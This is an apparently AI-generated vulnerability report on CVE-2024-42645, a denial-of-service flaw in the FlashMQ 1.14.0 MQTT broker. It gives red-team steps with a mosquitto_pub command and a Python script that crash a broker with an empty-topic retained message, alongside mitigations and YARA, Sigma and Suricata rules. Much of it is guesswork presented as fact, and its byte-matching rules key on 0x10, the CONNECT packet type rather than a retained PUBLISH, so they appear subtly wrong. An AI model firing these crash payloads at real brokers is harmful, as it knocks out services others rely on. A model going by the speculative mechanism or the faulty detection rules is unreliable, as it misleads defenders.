CVE-2024-42645

Executive Summary

CVE-2024-42645 is a Denial of Service (DoS) vulnerability affecting FlashMQ version 1.14.0. The flaw resides in the handling of crafted retain messages, which can trigger an assertion failure within the MQTT broker, leading to an abrupt crash and service unavailability. This vulnerability is classified as a reachable assertion (CWE-617), where an attacker can send a specially crafted MQTT PUBLISH packet with the retain flag set to cause the broker to assert and terminate. No authentication is required, and the attack can be performed over the network, making it a significant availability risk for IoT and messaging infrastructure relying on this specific version of FlashMQ. As of this report, no official patch has been released, and the vendor has not provided a fix.

Supply Chain & Package Security

FlashMQ is a C++ MQTT broker commonly used in embedded systems and IoT deployments. While it is not distributed via mainstream package managers like NPM or PyPI, its source code is available on GitHub. Organizations using FlashMQ v1.14.0 in their supply chain should treat this as a critical availability risk. The lack of a patch means that any deployment using this exact version is vulnerable to a trivial DoS attack.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a more accurate assessment is:

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability only affects the broker.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High. The attack is simple, requires no authentication, and results in a complete denial of service.

Deep Dive & Mechanics

The vulnerability is triggered by sending a crafted MQTT PUBLISH packet with the retain flag set to true. In MQTT, a retain message instructs the broker to store the last message on a topic and deliver it to future subscribers. The assertion failure occurs during the processing of this retain message, likely in the internal data structures that manage retained messages.

The assertion is a debugging mechanism used to catch invalid states during development. In a production build, assertions are often compiled out, but if FlashMQ v1.14.0 was compiled with assertions enabled (common in debug builds or certain distributions), the assertion will cause the process to abort.

The exact mechanism involves a malformed retain message that violates an internal invariant, such as an invalid topic length, a null pointer, or an out-of-bounds index. The attacker does not need to subscribe to any topic; simply publishing a crafted retain message to any topic is sufficient.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable code path likely resides in the function that processes incoming PUBLISH packets with the retain flag. A typical vulnerable pattern might look like:

// Vulnerable code (conceptual)
void process_retain_message(const MqttPacket& packet) {
    // Assume packet is valid
    assert(packet.topic_length > 0); // Could fail if topic_length is 0
    // ... process retain message
}

A patched version would replace the assertion with proper error handling:

// Patched code (conceptual)
bool process_retain_message(const MqttPacket& packet) {
    if (packet.topic_length == 0) {
        // Log error and return false
        return false;
    }
    // ... process retain message
    return true;
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running FlashMQ v1.14.0 on an accessible network port (default 1883 for MQTT).
• An MQTT client library (e.g., paho-mqtt in Python, or mosquitto_pub).

Exploit Steps:

1. Identify the target: Scan for MQTT brokers on port 1883.

2. Craft a malicious retain message: The exact payload is not publicly disclosed, but the attack involves sending a PUBLISH packet with the retain flag set to 1 and a malformed payload. A simple test is to send a retain message with an empty topic or an extremely long topic.

   Example using mosquitto_pub:

   mosquitto_pub -h <target_ip> -t "" -m "test" -r
   

   Or using Python with paho-mqtt:

   import paho.mqtt.client as mqtt
   
   client = mqtt.Client()
   client.connect("<target_ip>", 1883, 60)
   # Send a retain message with an empty topic
   client.publish("", payload="test", qos=0, retain=True)
   client.disconnect()
   

3. Observe the crash: The broker should crash immediately upon receiving the malformed packet. If the broker is running in the foreground, you will see an assertion failure message. If running as a service, the process will terminate.

Expected Outcome: The MQTT broker crashes, causing a denial of service for all connected clients.

Blue Team (Defensive)

Detection:

• Monitor for MQTT PUBLISH packets with the retain flag set to 1 and unusual topic lengths (e.g., empty topics or topics exceeding 65535 bytes).
• Use network intrusion detection systems (NIDS) to flag anomalous MQTT traffic.

Mitigation:

• Immediate: If possible, downgrade to a previous stable version of FlashMQ that does not have this vulnerability.
• Workaround: Disable the retain feature in the broker configuration if it is not required. In FlashMQ, this can be done by setting retain_available false in the configuration file.
• Network Segmentation: Restrict access to the MQTT broker to trusted IP addresses only.
• Rate Limiting: Implement rate limiting on MQTT connections to slow down potential attacks.

Indicators of Compromise (IOCs)

• Network Traffic:
  • MQTT PUBLISH packet with retain flag = 1 and topic length = 0.
  • MQTT PUBLISH packet with retain flag = 1 and topic containing non-printable characters.
• Logs:
  • Broker log entries showing Assertion failed or Aborted messages.
  • Sudden termination of the FlashMQ process.
• System:
  • Core dump files from the FlashMQ process.
  • High CPU or memory usage just before the crash (if the malformed packet causes resource exhaustion before the assertion).

Detection Engineering

YARA Rule

rule CVE_2024_42645_FlashMQ_Retain_DoS {
    meta:
        description = "Detects MQTT packets attempting to exploit CVE-2024-42645"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-42645"
    strings:
        $mqtt_header = { 10 ?? 00 00 } // PUBLISH packet with retain flag
        $empty_topic = { 00 00 } // Topic length = 0
    condition:
        $mqtt_header at 0 and $empty_topic at 2
}

Sigma Rule

title: CVE-2024-42645 FlashMQ Retain Message DoS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects MQTT PUBLISH packets with retain flag set and empty topic, indicating exploitation of CVE-2024-42645
author: Valters IT
date: 2024-10-27
logsource:
    category: network
    product: mqtt
detection:
    selection:
        mqtt.packet_type: 'PUBLISH'
        mqtt.retain: true
        mqtt.topic_length: 0
    condition: selection
falsepositives:
    - Legitimate use of empty topics (rare)
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-42645 FlashMQ Retain Message DoS Attempt"; flow:to_server,established; content:"|10|"; depth:1; content:"|00 00|"; distance:1; within:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade/Downgrade: Since no patch is available, downgrade to a version prior to 1.14.0 if possible, or switch to an alternative MQTT broker (e.g., Mosquitto, EMQX).
2. Disable Retain: In the FlashMQ configuration file, set retain_available false and restart the broker.
3. Network Filtering: Use firewall rules to allow only trusted IPs to connect to the MQTT port.

Long-Term Actions:

1. Monitor Vendor: Watch the FlashMQ GitHub repository for any security patches or updates.
2. Implement WAF/IDS: Deploy a Web Application Firewall or Intrusion Detection System that can inspect MQTT traffic for malicious patterns.
3. Regular Audits: Conduct regular security audits of all IoT and messaging infrastructure components.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.